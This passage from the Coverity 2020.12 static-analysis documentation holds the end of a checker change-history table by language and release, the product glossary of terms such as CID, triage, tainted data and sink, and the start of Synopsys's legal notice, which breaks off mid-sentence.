HEADER_INJECTION	C		2020.03
	C++		2020.03
	CUDA		2020.06

Checker Change History

Checker Name	Language	New	Changed
	Go		2019.12
	Kotlin		2020.06
	Objective-C		2020.03
	Objective-C++		2020.03
	Python 2		2020.12
	Python 3		2020.12
	Visual Basic		2020.09
HOST_HEADER_VALIDATION_DISABLED	Python 3	2020.12	
HPKP_MISCONFIGURATION	JavaScript	2020.03	
	TypeScript	2020.03	
IDENTICAL_BRANCHES	CUDA		2020.06
	Go		2019.06
IMPLICIT_INTENT	Kotlin		2020.06
INCOMPATIBLE_CAST	CUDA		2020.06
INFINITE_LOOP	CUDA		2020.06
	Go		2019.12
	Visual Basic		2019.12
INSECURE_ACL	JavaScript	2020.06	
	TypeScript	2020.06	
INSECURE_COMMUNICATION	C#		2020.12
	Java		2020.06
	JavaScript		2020.03
	Kotlin		2020.06
	TypeScript		2020.03
	Visual Basic		2020.12
INSECURE_COOKIE	C#		2020.09
	JavaScript		2019.12
	Python 3		2020.12
	Ruby		2019.06
	TypeScript		2019.12
INSECURE_HTTP_FIREWALL	Java	2020.06	

Checker Change History

Checker Name	Language	New	Changed
INSECURE_RANDOM	Kotlin		2020.06
	Python 2		2020.12
	Python 3		2020.12
	Visual Basic		2020.06
INSECURE_REFERRER_POLICY	JavaScript	2020.03	
	TypeScript	2020.03	
INSECURE_REMEMBER_ME_COOKIE	Java	2020.06	
INSUFFICIENT_LOGGING	Go		2019.12
	Python 2		2020.12
	Python 3		2020.12
INSUFFICIENT_PREIGNED_URL_TIMEOUT	JavaScript	2020.03	
	TypeScript	2020.03	
INTEGER_OVERFLOW	CUDA		2020.06
INVALIDATE_ITERATOR	CUDA		2020.06
JSONWEBTOKEN_IGNORED_EXPIRATION_TIME	JavaScript	2019.09	
	TypeScript	2019.09	
JSONWEBTOKEN_UNTRUSTED_DECODE	JavaScript	2019.06	
	TypeScript	2019.06	
LDAP_NOT_CONSTANT	C#	2020.06	
	Java	2020.06	
	Visual Basic	2020.06	
LOCK	CUDA		2020.06
	Go		2020.03
LOCK_EVASION	Visual Basic		2019.12
LOCK_INVERSION	Go		2020.03
MISMATCHED_ITERATOR	CUDA		2020.06
MISRA_CAST	CUDA		2020.06
MISSING_AUTHZ	Python 3		2020.12
MISSING_BREAK	CUDA		2020.06
MISSING_COMMA	CUDA		2020.06
MISSING_COPY_OR_ASSIGN	CUDA		2020.06

Checker Change History

Checker Name	Language	New	Changed
MISSING_HEADER_VALIDATION	Java	2020.06	
MISSING_LOCK	CUDA		2020.06
MISSING_MOVE_ASSIGNMENT	CUDA		2020.06
MISSING_PASSWORD_VALIDATOR	Python 3	2020.12	
MISSING_PERMISSION_FOR_BROADCAST	Kotlin		2020.06
MISSING_PERMISSION_ON_EXPORTED_COMPONENT	Kotlin		2020.03
MISSING_RESTORE	CUDA		2020.06
MISSING_RETURN	CUDA		2020.06
MIXED_ENUMS	CUDA		2020.06
MOBILE_ID_MISUSE	Kotlin		2020.06
MULTER_MISCONFIGURATION	JavaScript	2020.03	
	TypeScript	2020.03	
NEGATIVE_RETURNS	CUDA		2020.06
NESTING_INDENT_MISMATCH	CUDA		2020.06
NOSQL_QUERY_INJECTION	Go		2019.12
	Python 3		2020.12
NO_EFFECT	C		2020.09
	C++		2020.09
	CUDA		2020.06
	Objective-C		2020.09
	Objective-C++		2020.09
	TypeScript		2019.06
NULL_RETURNS	C		2019.12
			2020.03
			2020.06
	C#		2019.12
			2020.03
	C++		2019.12
			2020.03
		2020.06	
CUDA		2020.06	
Go		2019.09	
		2019.12	
		2020.03	
Java		2019.12	

Checker Change History

Checker Name	Language	New	Changed
			2020.03
	JavaScript		2019.12 2020.03
	Objective-C		2019.12 2020.03 2020.06
	Objective-C++		2019.12 2020.03 2020.06
	TypeScript		2019.06 2019.12 2020.03
	Visual Basic		2019.12 2020.03
ODR_VIOLATION	C++	2020.03	
	CUDA		2020.06
OPEN_ARGS	CUDA		2020.06
OPEN_REDIRECT	Go		2019.12
	Python 3		2020.12
ORDER_REVERSAL	CUDA		2020.06
OS_CMD_INJECTION	C		2020.03
	C++		2020.03
	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.06
	Objective-C		2020.03
	Objective-C++		2020.03
	Python 3		2020.12
OVERFLOW_BEFORE_WIDEN	CUDA		2020.06
OVERLAPPING_COPY	CUDA		2020.06
OVERRUN	C		2019.09 2020.03
	C++		2019.09 2020.03
	CUDA		2020.06
	Objective-C		2019.09

Checker Change History

Checker Name	Language	New	Changed
			2020.03
	Objective-C++		2019.09 2020.03
PARSE_ERROR	CUDA		2020.06
	Ruby		2019.06
PASS_BY_VALUE	C		2020.12
	C++		2020.12
	CUDA		2020.06 2020.12
	Objective-C		2020.12
	Objective-C++		2020.12
PATH_MANIPULATION	C		2020.03
	C++		2020.03
	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.06
	Objective-C		2020.03
	Objective-C++		2020.03
	Python 3		2020.12
PREDICTABLE_RANDOM_SEED	Kotlin		2020.06
PRINTF_ARGS	C		2019.06
	C++		2019.06
	CUDA		2020.06
	Objective-C		2019.06
	Objective-C++		2019.06
REACT_DANGEROUS_INNERHTML	JavaScript	2019.12	
	TypeScript	2019.12	
REACT_DYNAMIC_URL_INSECURE_TARGET	JavaScript	2019.06	
	TypeScript	2019.06	
READLINK	CUDA		2020.06
RESOURCE_LEAK	CUDA		2020.06
RETURN_LOCAL	CUDA		2020.06

Checker Change History

Checker Name	Language	New	Changed
REVERSE_INULL	CUDA		2020.06
	Go		2019.06
	TypeScript		2019.06
REVERSE_NEGATIVE	CUDA		2020.06
REVERSE_TABNABBING	JavaScript	2019.12	
	Ruby	2019.12	
	TypeScript	2019.12	
RISKY_CRYPT0	C		2019.09 2020.06
	C#		2019.09 2020.06
	C++		2019.09 2020.06
	CUDA		2020.06
	Go		2019.12 2020.06
	Java		2019.09 2020.06 2020.12
	JavaScript		2019.09 2020.06
	Kotlin		2020.06 2020.12
	Objective-C		2019.09 2020.06
	Objective-C++		2019.09 2020.06
	Python 2		2020.12
	Python 3		2020.12
	Swift		2019.09 2020.06
	TypeScript		2019.09 2020.06
	Visual Basic		2019.09 2020.06
SCRIPT_CODE_INJECTION	Python 3		2020.12

Checker Change History

---

Checker Name	Language	New	Changed
	Visual Basic		2020.06
SECURE_CODING	CUDA		2020.06
SECURE_TEMP	CUDA		2020.06
SELF_ASSIGN	CUDA		2020.06
SENSITIVE_DATA_LEAK	C		2020.03
	C++		2020.03
	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.03
	Objective-C		2020.03
	Objective-C++		2020.03
	Python 3		2020.12
SIGN_EXTENSION	CUDA		2020.06
SIZECHECK	CUDA		2020.06
SIZEOF_MISMATCH	CUDA		2020.06
SLEEP	CUDA		2020.06
	Go		2020.03
SQLI	C		2020.03
	C++		2020.03
	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.06
	Objective-C		2020.03
	Objective-C++		2020.03
	Python 3		2020.12
	Swift		2019.09
	TypeScript		2019.06
STACK_USE	CUDA		2020.06
STRAY_SEMICOLON	CUDA		2020.06
STREAM_FORMAT_STATE	CUDA		2020.06
STRICT_TRANSPORT_SECURITY	Ruby	2019.09	

Checker Change History

Checker Name	Language	New	Changed
STRING_NULL	CUDA		2020.06
STRING_OVERFLOW	CUDA		2020.06
STRING_SIZE	CUDA		2020.06
SWAPPED_ARGUMENTS	CUDA		2020.06
TAINTED_ENVIRONMENT_WITH_EXECUTION	Go		2019.12
TAINTED_SCALAR	C		2019.12
	C++		2019.12
	CUDA		2020.06
	Objective-C		2019.12
	Objective-C++		2019.12
TAINTED_STRING	CUDA		2020.06
TEMPLATE_INJECTION	Go		2019.12
TEMPORARY_CREDENTIALS_DURATION	JavaScript	2020.03	
	TypeScript	2020.03	
TOCTOU	CUDA		2020.06
UNCAUGHT_EXCEPT	CUDA		2020.06
UNENCRYPTED_SENSITIVE_DATA	CUDA		2020.06
	Kotlin		2020.06
	Visual Basic		2020.12
UNEXPECTED_CONTROL_FLOW	CUDA		2020.06
UNINIT	CUDA		2020.06
UNINIT_CTOR	C++		2020.06
	CUDA		2020.06
	Objective-C++		2020.06
UNINTENDED_INTEGER_DIVISION	CUDA		2020.06
	Go		2019.06
UNLESS_CASE_SENSITIVE_ROUTE_MATCHING	JavaScript	2019.12	
	TypeScript	2019.12	
UNLIMITED_CONCURRENT_SESSIONS	Java	2020.06	
UNREACHABLE	CUDA		2020.06
UNRESTRICTED_ACCESS_TO_FILE	Java		2020.06

Checker Change History

Checker Name	Language	New	Changed
	Kotlin		2020.06
UNSAFE_BUFFER_METHOD	JavaScript	2020.06	
	TypeScript	2020.06	
UNSAFE_DESERIALIZATION	Kotlin		2020.06
	Python 3		2020.12
UNSAFE_XML_PARSE_CONFIG	CUDA		2020.06
UNUSED_VALUE	CUDA		2020.06
	Go		2019.06
URL_MANIPULATION	C		2019.06 2020.03
	C++		2019.06 2020.03
	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.06
	Objective-C		2019.06 2020.03
	Objective-C++		2019.06 2020.03
	Python 2		2020.12
	Python 3		2020.12
	USELESS_CALL	CUDA	
USER_POINTER	CUDA		2020.06
USE_AFTER_FREE	CUDA		2020.06
VARARGS	CUDA		2020.06
VCALL_IN_CTOR_DTOR	CUDA		2020.12
VERBOSE_ERROR_REPORTING	Java	2020.09	
VIRTUAL_DTOR	CUDA		2020.06
VUE_TEMPLATE_UNSAFE_VHTML_DIRECTIVE	JavaScript	2019.09	
	TypeScript	2019.09	
WEAK_GUARD	CUDA		2020.06
WEAK_PASSWORD_HASH	CUDA		2020.06
	Kotlin		2020.06
	Python 3		2020.12
WEAK_URL_SANITIZATION	Java		2020.12

Checker Change History

Checker Name	Language	New	Changed
	JavaScript	2020.06	
	TypeScript	2020.06	
WEAK_XML_SCHEMA	Java	2020.12	
WRAPPER_ESCAPE	CUDA		2020.06
WRITE_CONST_FIELD	C	2020.12	
	C++	2020.12	
	CUDA	2020.12	
XML_EXTERNAL_ENTITY	Go		2019.12
	Kotlin		2020.06
	Python 3		2020.12
XML_INJECTION	Visual Basic		2020.09
XPATH_INJECTION	C		2020.03
	C++		2020.03
	CUDA		2020.06
	Go		2020.12
	Objective-C		2020.03
	Objective-C++		2020.03
XSS	Go		2019.12
	Python 3		2020.12
Y2K38_SAFETY	C	2020.09	
	C++	2020.09	
	CUDA	2020.09	

---

# Appendix J. Coverity Glossary

## Table of Contents

Glossary ..... 1200

## Glossary

### A

Abstract Syntax Tree (AST)	A tree-shaped data structure that represents the structure of concrete input syntax (from source code).
action	In Coverity Connect, a customizable attribute used to triage a CID. Default values are Undecided, Fix Required, Fix Submitted, Modeling Required, and Ignore. Alternative custom values are possible.
Acyclic Path Count	<p>The number of execution paths in a function, with loops counted one time at most. The following assumptions are also made:</p> <ul style="list-style-type: none"><li>• <code>continue</code> breaks out of a loop.</li><li>• <code>while</code> and <code>for</code> loops are executed exactly 0 or 1 time.</li><li>• <code>do...while</code> loops are executed exactly once.</li><li>• <code>goto</code> statements which go to an earlier source location are treated as an exit.</li></ul> <p>Acyclic (Statement-only) Path Count adds the following assumptions:</p> <ul style="list-style-type: none"><li>• Paths within expressions are not counted.</li><li>• Multiple case labels at the same statement are counted as a single case.</li></ul>
advanced triage	<p>In Coverity Connect, streams that are associated with the same always share the same triage data and history. For example, if Stream A and Stream B are associated with Triage Store 1, and both streams contain CID 123, the streams will share the triage values (such as a shared Bug classification or a Fix Required action) for that CID, regardless of whether the streams belong to the same project.</p> <p>Advanced triage allows you to select one or more triage stores to update when triaging a CID in a Coverity Connect project. Triage store selection is possible only if the following conditions are true:</p>

- Some streams in the project are associated with one triage store (for example, TS1), and other streams in the project are associated with another triage store (for example, TS2). In this case, some streams that are associated with TS1 must contain the CID that you are triaging, and some streams that are associated with TS2 must contain that CID.
- You have permission to triage issues in more than one of these triage stores.

In some cases, advanced triage can result in CIDs with issue attributes that are in the Various state in Coverity Connect.

See also, triage.

analysis annotation

A marker in the source code. An analysis annotation is not executable, but modifies the behavior of Coverity Analysis in some way.

Analysis annotations can suppress false positives, indicate sensitive data, and enhance function models.

Each language has its own analysis annotation syntax and set of capabilities. These are not the same as the syntax or capabilities available to the other languages that support annotations.

- For C/C++, an analysis annotation is a comment with special formatting. See code-line annotation and function annotation.
- For C# and Visual Basic, an analysis annotation uses the native C# attribute syntax.
- For Java, an analysis annotation uses the native Java annotation syntax.

Other languages do not support annotations.

annotation

See analysis annotation.

## C

call graph

A graph in which functions are nodes, and the edges are the calls between the functions.

category

See issue category.

checker

A program that traverses paths in your source code to find specific issues in it. Examples of checkers include RACE\_CONDITION, RESOURCE\_LEAK, and INFINITE\_LOOP. For details about checkers, see *Coverity 2020.12 Checker Reference*.

## Coverity Glossary

---

checker category	See issue category.
churn	A measure of change in defect reporting between two Coverity Analysis releases that are separated by one minor release, for example, 6.5.0 and 6.6.0.
CID (Coverity identifier)	See Coverity identifier (CID).
classification	A category that is assigned to a software issue in the database. Built-in classification values are Unclassified, Pending, False Positive, Intentional, and Bug. For Test Advisor issues, classifications include Untested, No Test Needed, and Tested Elsewhere. Issues that are classified as Unclassified, Pending, and Bug are regarded as software issues for the purpose of defect density calculations.
code-line annotation	<p>For C/C++, an analysis annotation that applies to a particular line of code. When it encounters a code-line annotation, the analysis engine skips the defect report that the following line of code would otherwise trigger.</p> <p>By default, an ignored defect is classified as <code>Intentional</code>. See "Models and Annotations in C/C++" in the <i>Coverity Checker Reference</i>.</p> <p>See also function annotation.</p>
code base	A set of related source files.
code coverage	The amount of code that is tested as a percentage of the total amount of code. Code coverage is measured different ways: line coverage, path coverage, statement coverage, decision coverage, condition coverage, and others.
component	A named grouping of source code files. Components allow developers to view only issues in the source files for which they are responsible, for example. In Coverity Connect, these files are specified by a Posix regular expression. See also, component map.
component map	Describes how to map source code files, and the issues contained in the source files, into components.
control flow graph	A graph in which blocks of code without any jumps or jump targets are nodes, and the directed edges are the jumps in the control flow between the blocks. The entry block is where control enters the graph, and the exit block is where the control flow leaves.
Coverity identifier (CID)	An identification number assigned to a software issue. A snapshot contains issue <i>instances</i> (or occurrences), which take place on a specific code path in a specific version of a file. Issue instances, both within a snapshot and across snapshots (even in different streams), are grouped together according to similarity, with the intent that two issues are

"similar" if the same source code change would fix them both. These groups of similar issues are given a numeric identifier, the CID. Coverity Connect associates triage data, such as classification, action, and severity, with the CID (rather than with an individual issue).

CWE (Common Weakness Enumeration)

A community-developed list of software weaknesses, each of which is assigned a number (for example, see CWE-476 at <http://cwe.mitre.org/data/definitions/476.html> ). Coverity associates many categories of defects (such as "Null pointer dereferences") with a CWE number.

Coverity Connect

A Web application that allows developers and managers to identify, manage, and fix issues found by Coverity analysis and third-party tools.

## D

data directory

The directory that contains the Coverity Connect database. After analysis, the **cov-commit-defects** command stores defects in this directory. You can use Coverity Connect to view the defects in this directory. See also intermediate directory.

deadcode

Code that cannot possibly be executed regardless of what input values are provided to the program.

defect

See issue.

deterministic

A characteristic of a function or algorithm that, when given the same input, will always give the same output.

dismissed issue

Issue marked by developers as Intentional or False Positive in the Triage pane. When such issues are no longer present in the latest snapshot of the code base, they are identified as absent dismissed.

domain

A combination of the language that is being analyzed and the type of analysis, either static or dynamic.

dynamic analysis

Analysis of software code by executing the compiled program. See also static analysis.

dynamic analysis agent

A JVM agent for Dynamic Analysis that instruments your program to gather runtime evidence of defects.

dynamic analysis stream

A sequential collection of snapshots, which each contain all of the issues that Dynamic Analysis reports during a single invocation of the Dynamic Analysis broker.

## E

event

In Coverity Connect, a software issue is composed of one or more events found by the analysis. Events are useful in illuminating the context of the issue. See also issue.

## F

false negative	A defect in the source code that is not found by Coverity Analysis.
false path pruning (FPP)	A technique to ensure that defects are only detected on feasible paths. For example, if a particular path through a method ensures that a given condition is known to be true, then the <code>else</code> branch of an <code>if</code> statement which tests that condition cannot be reached on that path. Any defects found in the <code>else</code> branch would be impossible because they are “on a false path”. Such defects are suppressed by a false path pruner.
false positive	A potential defect that is identified by Coverity Analysis, but that you decide is not a defect. In Coverity Connect, you can dismiss such issues as false positives. In C or C++ source, you might also use code-line annotations to identify such issues as intentional during the source code analysis phase, prior to sending analysis results to Coverity Connect.
fixed issue	Issue from the previous snapshot that is not in the latest snapshot.
fixpoint	The Extend SDK engine notices that the second and subsequent paths through the loop are not significantly different from the first iteration, and stops analyzing the loop. This condition is called a fixpoint of the loop.
flow-insensitive analysis	A checker that is stateless. The abstract syntax trees are not visited in any particular order.
function annotation	For C/C++, an analysis annotation that applies to the definition of a particular function. The annotation either suppresses or enhances the effect of that function's model. See "Models and Annotations in C/C++" in the <i>Coverity Checker Reference</i> .  See also code-line annotation.
function model	A model of a function that is not in the code base that enhances the intermediate representation of the code base that Coverity Analysis uses to more accurately analyze defects.
<b>I</b>	
impact	Term that is intended to indicate the likely urgency of fixing the issue, primarily considering its consequences for software quality and security, but also taking into account the accuracy of the checker. Impact is necessarily probabilistic and subjective, so one should not rely exclusively on it for prioritization.
inspected issue	Issue that has been triaged or fixed by developers.

intermediate directory	<p>A directory that is specified with the <code>--dir</code> option to many commands. The main function of this directory is to write build and analysis results before they are committed to the Coverity Connect database as a snapshot. Other more specialized commands that support the <code>--dir</code> option also write data to or read data from this directory.</p> <p>The intermediate representation of the build is stored in <code>&lt;intermediate_directory&gt;/emit</code> directory, while the analysis results are stored in <code>&lt;intermediate_directory&gt;/output</code>. This directory can contain builds and analysis results for multiple languages.</p> <p>See also data directory.</p>
intermediate representation	<p>The output of the Coverity compiler, which Coverity Analysis uses to run its analysis and check for defects. The intermediate representation of the code is in the intermediate directory.</p>
interprocedural analysis	<p>An analysis for defects based on the interaction between functions. Coverity Analysis uses call graphs to perform this type of analysis. See also intraprocedural analysis.</p>
intraprocedural analysis	<p>An analysis for defects within a single procedure or function, as opposed to interprocedural analysis.</p>
issue	<p>Coverity Connect displays three types of software issues: quality defects, potential security vulnerabilities, and test policy violations. Some checkers find both quality defects and potential security vulnerabilities, while others focus primarily on one type of issue or another. The Quality, Security, and Test Advisor dashboards in Coverity Connect provide high-level metrics on each type of issue.</p> <p>Note that this glossary includes additional entries for the various types of issues, for example, an inspected issue, issue category, and so on.</p>
issue category	<p>A string used to describe the nature of a software issue; sometimes called a "checker category" or simply a "category." The issue pertains to a subcategory of software issue that a checker can report within the context of a given domain.</p> <p>Examples:</p> <ul style="list-style-type: none"><li>• <code>Memory - corruptions</code></li><li>• <code>Incorrect expression</code></li><li>• <code>Integer overflow Insecure data handling</code></li></ul> <p>Impact tables in the <i>Coverity 2020.12 Checker Reference</i> list issues found by checkers according to their category and other associated checker properties.</p>

## K

**killpath** For Coverity Analysis for C/C++, a path in a function that aborts program execution. See `<install_dir_sa>/library/generic/common/killpath.c` for the functions that are modeled in the system.

For Coverity Analysis for Java, and similarly for C# and Visual Basic, a modeling primitive used to indicate that execution terminates at this point, which prevents the analysis from continuing down this execution path. It can be used to model a native method that kills the process, like `System.exit`, or to specifically identify an execution path as invalid.

**kind** A string that indicates whether software issues found by a given checker pertain to SECURITY (for security issues), QUALITY (for quality issues), TEST (for issues with developer tests, which are found by Test Advisor), or QUALITY/SECURITY. Some checkers can report quality and security issues. The Coverity Connect UI can use this property to filter and display CIDs.

## L

**latest state** A CID's state in the latest snapshot merged with its state from previous snapshots starting with the snapshot in which its state was 'New'.

**local analysis** Interprocedural analysis on a subset of the code base with Coverity Desktop plugins, in contrast to one with Coverity Analysis, which usually takes place on a remote server.

**local effect** A string serving as a generic event message that explains why the checker reported a defect. The message is based on a subcategory of software issues that the checker can detect. Such strings appear in the Coverity Connect triage pane for a given CID.

Examples:

- `May result in a security violation.`
- `There may be a null pointer exception, or else the comparison against null is unnecessary.`

**long description** A string that provides an extended description of a software issue (compare with `type`). The long description appears in the Coverity Connect triage pane for a given CID. In Coverity Connect, this description is followed by a link to a corresponding CWE, if available.

Examples:

- `The called function is unsafe for security related code.`

- All paths that lead to this null pointer comparison already dereference the pointer earlier (CWE-476).

## M

model	<p>In Coverity Analysis of the code for a compiled language—such as C, C++, C#, Java, or Visual Basic—a model represents a function in the application source. Models are used for interprocedural analysis.</p> <p>Each model is created as each function is analyzed. The model is an abstraction of the function’s behavior at execution time; for example, a model can show which arguments the function dereferences, and whether the function returns a null value.</p> <p>It is possible to write custom models for a code base. Custom models can help improve Coverity's ability to detect certain kinds of bugs. Custom models can also help reduce the incidence of false positives.</p>
modeling primitive	<p>A modeling primitive is used when writing custom models. Each modeling primitive is a function stub: It does not specify any executable code, but when it is used in a custom model it instructs Coverity Analysis how to analyze (or refrain from analyzing) the function being modeled.</p> <p>For example, the C/C++ checker CHECKED_RETURN is associated with the modeling primitive <code>_coverity_always_check_return()</code>. This primitive tells CHECKED_RETURN to verify that the function being analyzed really does return a value.</p> <p>Some modeling primitives are generic, but most are specific to a particular checker or group of checkers. The set of available modeling primitives varies from language to language.</p>

## N

native build	The normal build process in a software development environment that does not involve Coverity products.
--------------	---------------------------------------------------------------------------------------------------------

## O

outstanding issue	Issues that are uninspected and unresolved.
outstanding defects count	The sum of security and non-security defects count.
outstanding non-security defects count	The sum of non-security defects count.
outstanding security defects count.	The sum of security defects count.

**owner** User name of the user to whom an issue has been assigned in Coverity Connect. Coverity Connect identifies the owner of issues not yet assigned to a user as Unassigned.

## P

**postorder traversal** The recursive visiting of children of a given node in order, and then the visit to the node itself. Left sides of assignments are evaluated after the assignment because the left side becomes the value of the entire assignment expression.

**primitive** In the Java language, elemental data types such as strings and integers are known as *primitive types*. (In the C-language family, such types are typically known as *basic types*).

For the function stubs that can be used when constructing custom models, see modeling primitive.

**project** In Coverity Connect, a specified set of related streams that provide a comprehensive view of issues in a code base.

## R

**resolved issues** Issues that have been fixed or marked by developers as Intentional or False Positive through the Coverity Connect Triage pane.

**run** In Coverity releases 4.5.x or lower, a grouping of defects committed to the Coverity Connect. Each time defects are inserted into the Coverity Connect using the **cov-commit-defects** command, a new run is created, and the run ID is reported. See also snapshot

## S

**sanitize** To clean or validate tainted data to ensure that the data is valid. Sanitizing tainted data is an important aspect of secure coding practices to eliminate system crashes, corruption, escalation of privileges, or denial of service. See also tainted data.

**severity** In Coverity Connect, a customizable property that can be assigned to CIDs. Default values are Unspecified, Major, Moderate, and Minor. Severities are generally used to specify how critical a defect is.

**sink** Coverity Analysis for C/C++: Any operation or function that must be protected from tainted data. Examples are array subscripting, `system()`, `malloc()`.

Coverity Analysis for Java: Any operation or function that must be protected from tainted data. Examples are array subscripting and the JDBC API `Connection.execute`.

snapshot	<p>A copy of the state of a code base at a certain point during development. Snapshots help to isolate defects that developers introduce during development.</p> <p>Snapshots contain the results of an analysis. A snapshot includes both the issue information and the source code in which the issues were found. Coverity Connect allows you to delete a snapshot in case you committed faulty data, or if you committed data for testing purposes.</p>
snapshot scope	<p>Determines the snapshots from which the CID are listed using the Show and the optional Compared To fields. The show and compare scope is only configurable in the Settings menu in Issues:By Snapshot views and the snapshot information pane in the Snapshots view.</p>
source	<p>An entry point of untrusted data. Examples include environment variables, command line arguments, incoming network data, and source code.</p>
static analysis	<p>Analysis of software code without executing the compiled program. See also dynamic analysis.</p>
status	<p>Describes the state of an issue. Takes one of the following values: <b>New</b>, <b>Triaged</b>, <b>Dismissed</b>, <b>Absent Dismissed</b>, or <b>Fixed</b>.</p>
store	<p>A map from abstract syntax trees to integer values and a sequence of events. This map can be used to implement an abstract interpreter, used in flow-sensitive analysis.</p>
stream	<p>A sequential collection of snapshots. Streams can thereby provide information about software issues over time and at a particular points in development process.</p>

## T

tainted data	<p>Any data that comes to a program as input from a user. The program does not have control over the values of the input, and so before using this data, the program must sanitize the data to eliminate system crashes, corruption, escalation of privileges, or denial of service. See also sanitize.</p>
translation unit	<p>A translation unit is the smallest unit of code that can be compiled separately. What this unit is, depends primarily on the language: For example, a Java translation unit is a single source file, while a C or C++ translation unit is a source file plus all the other files (such as headers) that the source file includes.</p> <p>When Coverity tools capture code to analyze, the resulting intermediate directory contains a collection of translation units. This collection includes source files along with other files and information that form the</p>

context of the compilation. For example, in Java this context includes bytecode files in the class path; in C or C++ this context includes both preprocessor definitions and platform information about the compiler.

triage

The process of setting the states of an issue in a particular stream, or of issues that occur in multiple streams. These user-defined states reflect items such as how severe the issue is, if it is an expected result (false positive), the action that should be taken for the issue, to whom the issue is assigned, and so forth. These details provide tracking information for your product. Coverity Connect provides a mechanism for you to update this information for individual and multiple issues that exist across one or more streams.

See also advanced triage.

triage store

A repository for the current and historical triage values of CIDs. In Coverity Connect, each stream must be associated with a single triage store so that users can triage issues (instances of CIDs) found in the streams. Advanced triage allows you to select one or more triage stores to update when triaging a CID in a Coverity Connect project.

See also advanced triage.

type

A string that typically provides a short description of the root cause or potential effect of a software issue. The description pertains to a subcategory of software issues that the checker can find within the scope of a given domain. Such strings appear at the top of the Coverity Connect triage pane, next to the CID that is associated with the issue. Compare with long description.

Examples:

```
The called function is unsafe for security related code
```

```
Dereference before null check
```

```
Out-of-bounds access
```

```
Evaluation order violation
```

Impact tables in the *Coverity 2020.12 Checker Reference* list issues found by checkers according to their type and other associated checker properties.

## U

unified issue

An issue that is identical and present in multiple streams. Each instance of an identical, unified issue shares the same CID.

uninspected issues      Issues that are as yet unclassified in Coverity Connect because they have not been triaged by developers.

unresolved issues      Defects are marked by developers as Pending or Bug through the Coverity Connect Triage pane. Coverity Connect sometimes refers to these issues as *Outstanding* issues.

## V

various      Coverity Connect uses the term Various in two cases:

- When a checker is categorized as both a quality and a security checker. For example, USE\_AFTER\_FREE and UNINIT are listed as such in the Issue Kind column of the View pane. For details, see the *Coverity 2020.12 Checker Reference*.
- When different instances of the same CID are triaged differently. Within the scope of a project, instances of a given CID that occur in separate streams can have different values for a given triage attribute if the streams are associated with different . For example, you might use advanced triage to classify a CID as a Bug in one triage store but retain the default Unclassified setting for the CID in another store. In such a case, the View pane of Coverity Connect identifies the project-wide classification of the CID as Various.

Note that if all streams share a single triage store, you will never encounter a CID in this triage state.

view      Saved searches for Coverity Connect data in a given project. Typically, these searches are filtered. Coverity Connect displays this output in data tables (located in the Coverity Connect View pane). The columns in these tables can include CIDs, files, snapshots, checker names, dates, and many other types of data.

---

# Appendix K. Coverity Legal Notice

## Table of Contents

K.1. Legal Notice .....	1212
-------------------------	------

### K.1. Legal Notice

The information contained in this document, and the Licensed Product provided by Synopsys, are the proprietary and confidential information of Synopsys, Inc. and its affiliates and licensors, and are supplied subject to, and may be used only by Synopsys customers in accordance with the terms and conditions of a license agreement previously accepted by Synopsys and that customer. Synopsys' current standard end user license terms and conditions are contained in the `cov_EULM` files located at `<install_dir>/doc/en/licenses/end_user_license`.

Portions of the product described in this documentation use third-party material. Notices, terms and conditions, and copyrights regarding third party material may be found in the `<install_dir>/doc/en/licenses` directory.

Customer acknowledges that the use of Synopsys Licensed Products may be enabled by authorization keys supplied by Synopsys for a limited licensed period. At the end of this period, the authorization key will expire. You agree not to take any action to work around or override these license restrictions or use the Licensed Products beyond the licensed period. Any attempt to do so will be considered an infringement of intellectual property rights that may be subject to legal action.

If Synopsys has authorized you, either in this documentation or pursuant to a separate mutually accepted license agreement, to distribute Java source that contains Synopsys annotations, then your distribution should include Synopsys' `analysis_install_dir/library/annotations.jar` to ensure a clean compilation. This `annotations.jar` file contains proprietary intellectual property owned by Synopsys. Synopsys customers with a valid license to Synopsys' Licensed Products are permitted to distribute this JAR file with source that has been analyzed by Synopsys' Licensed Products consistent with the terms of such valid license issued by Synopsys. Any authorized distribution must include the following copyright notice: **Copyright © 2020 Synopsys, Inc. All rights reserved worldwide.**

U.S. GOVERNMENT RESTRICTED RIGHTS: The Software and associated documentation are provided with Restricted Rights. Use, duplication, or disclosure by the U.S. Government is subject to restrictions set forth in subparagraph (c)(1) of The Rights in Technical Data and Computer Software clause at DFARS 252.227-7013 or subparagraphs (c)(1) and (2) of Commercial Computer Software – Restricted Rights at 48 CFR 52.227-19, as applicable.

The Manufacturer is: Synopsys, Inc. 690 E. Middlefield Road, Mountain View, California 94043.

The Licensed Product known as Coverity is protected by multiple patents and patents pending, including U.S. Patent No. 7,340,726.

#### Trademark Statement

Coverity and the Coverity logo are trademarks or registered trademarks of Synopsys, Inc. in the U.S. and other countries. Synopsys' trademarks may be used publicly only with permission from

Synopsys. Fair use of Synopsys' trademarks in advertising and promotion of Synopsys' Licensed Products requires proper acknowledgement.

Microsoft, Visual Studio, and Visual C# are trademarks or registered trademarks of Microsoft Corporation in the United States and/or other countries.

Microsoft Research Detours Package, Version 3.0.

Copyright © Microsoft Corporation. All rights reserved.

Oracle and Java are registered trademarks of Oracle and/or affiliates. Other names may be trademarks of their respective owners.

"MISRA", "MISRA C" and the MISRA triangle logo are registered trademarks of MISRA Ltd, held on behalf of the MISRA Consortium. © MIRA Ltd, 1998 - 2013. All rights reserved. The name FindBugs and the FindBugs logo are trademarked by The University of Maryland.

Other names and brands may be claimed as the property of others.

This Licensed Product contains open source or community source software ("**Open Source Software**") provided under separate license terms (the "**Open Source License Terms**"), as described in the applicable license agreement under which this Licensed Product is licensed ("**Agreement**"). The applicable Open Source License Terms are identified in a directory named `licenses` provided with the delivery of this Licensed Product. For all Open Source Software subject to the terms of an LGPL license, Customer may contact Synopsys at `software-integrity-support@synopsys.com` and Synopsys will comply with the terms of the LGPL by delivering to Customer the applicable requested Open Source Software package, and any modifications to such Open Source Software package, in source format, under the applicable LGPL license. Any Open Source Software subject to the terms and conditions of the GPLv3 license as its Open Source License Terms that is provided with this Licensed Product is provided as a mere aggregation of GPL code with Synopsys' proprietary code, pursuant to Section 5 of GPLv3. Such Open Source Software is a self-contained program separate and apart from the Synopsys code that does not interact with the Synopsys proprietary code. Accordingly, the GPL code and the Synopsys proprietary code that make up this Licensed Product co-exist on the same media, but 